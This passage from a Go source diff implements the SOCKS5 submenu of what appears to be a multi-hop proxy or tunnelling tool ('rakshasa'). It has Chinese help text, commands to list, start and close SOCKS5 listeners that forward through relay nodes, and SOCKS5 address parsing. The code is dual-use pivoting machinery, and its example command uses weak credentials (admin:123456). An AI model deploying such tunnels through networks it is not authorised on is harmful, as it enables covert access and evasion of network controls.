v.connMap.Store(s.id, s) + } + } +} + +func Bytes2str(b []byte) string { + return *(*string)(unsafe.Pointer(&b)) +} + +func (s *clientConnect) Remoteclose() { + + s.close = "本地要求远程关闭" + + buf := make([]byte, 4) + buf[0] = byte(s.id) + buf[1] = byte(s.id >> 8) + buf[2] = byte(s.id >> 16) + buf[3] = byte(s.id >> 24) + s.server.Write(common.CMD_DELETE_LISTENCONN_BYID, s.listenId, buf) + +} +func init() { + + socks5shell := cliInit() + socks5shell.SetPrompt("rakshasa\\socks5>") + socks5shell.AddCmd(&ishell.Cmd{ + Name: "list", + Help: "列出当前连接的ID和其他信息", + Func: func(c *ishell.Context) { + var list []*clientListen + currentNode.listenMap.Range(func(key, value interface{}) bool { + if v, ok := value.(*clientListen); ok && v.typ == "socks5" { + list = append(list, v) + } + return true + }) + orderClientListen(list) + fmt.Println("当前监听端口数量:", len(list)) + for _, v := range list { + fmt.Println("ID", v.id, "本地监听端口", v.localAddr, "转发服务器uuid", v.server.uuid) + } + }, + }) + + socks5shell.AddCmd(&ishell.Cmd{ + Name: "new-socks5", + Help: "新建一个socks5连接,使用方法 new-socks5 配置字符串 目标服务器 如 new-socks5 admin:123456@0.0.0.0:1080 127.0.0.1:8881,127.0.0.1:8882", + Func: func(c *ishell.Context) { + if len(c.Args) < 1 { + c.Println("参数错误,例子 new-socks5 admin:123456@0.0.0.0:1080") + return + } + cfg, err := common.ParseAddr(c.Args[0]) + if err != nil { + c.Println(err) + return + } + nodes := []string{} + if len(c.Args) == 2 { + nodes = strings.Split(c.Args[1], ",") + } + if err := StartSocks5(cfg, nodes); err != nil { + c.Println("本地socks5启动失败", err) + } else { + c.Println("本地socks5启动成功") + } + }, + }) + + socks5shell.AddCmd(&ishell.Cmd{ + Name: "close", + Help: "关闭一个socsk5监听实例,使用方法 close ID", + Func: func(c *ishell.Context) { + if len(c.Args) != 1 { + c.Println("参数错误,例子 close 1") + return + } + id, _ := strconv.Atoi(c.Args[0]) + var l *clientListen + if value, ok := currentNode.listenMap.Load(uint32(id)); ok { + if v, ok := value.(*clientListen); ok && v.typ == "socks5" { + l = v + } + + } + if l == nil { + c.Println("没有找到ID为", id, "的连接") + } else { + l.Close("命令行关闭") + l.server.Write(common.CMD_DELETE_LISTEN, l.id, nil) + currentNode.listenMap.Delete(uint32(id)) + + } + }, + }) + rootCli.AddCmd(&ishell.Cmd{ + Name: "socks5", + Help: "进入socks5功能", + Func: func(c *ishell.Context) { + + socks5shell.Run() + + }, + }) +} +func ipToByte(ip string) []byte { + var b []byte + + if strings.Contains(ip, ".") { + for _, s := range strings.Split(ip, ".") { + i, _ := strconv.Atoi(s) + b = append(b, byte(i)) + } + } + + return b +} +func socks5ReadAddr(data []byte) (addr string, port uint16) { + port = binary.BigEndian.Uint16(data[len(data)-2:]) + switch data[3] { + case 1: //ipv4 + str := make([][]byte, 4) + for k, v := range data[4:8] { + str[k] = []byte(strconv.Itoa(int(v))) + } + addr = string(bytes.Join(str, []byte{46})) + + case 3: //域名 + addr = string(data[5 : len(data)-2]) + + case 4: //ipv6 + strs := make([]string, 0) + for i := 4; i < 20; i += 2 { + str := "" + for j := 0; j < 2; j++ { + str += fmt.Sprintf("%0.2x", data[i+j]) + } + str = strings.TrimLeft(str, "0") + if str == "" { + str = "0" + } + strs = append(strs, str) + } + addr = "[" + strings.Join(strs, ":") + "]" + + default: + + } + + return +}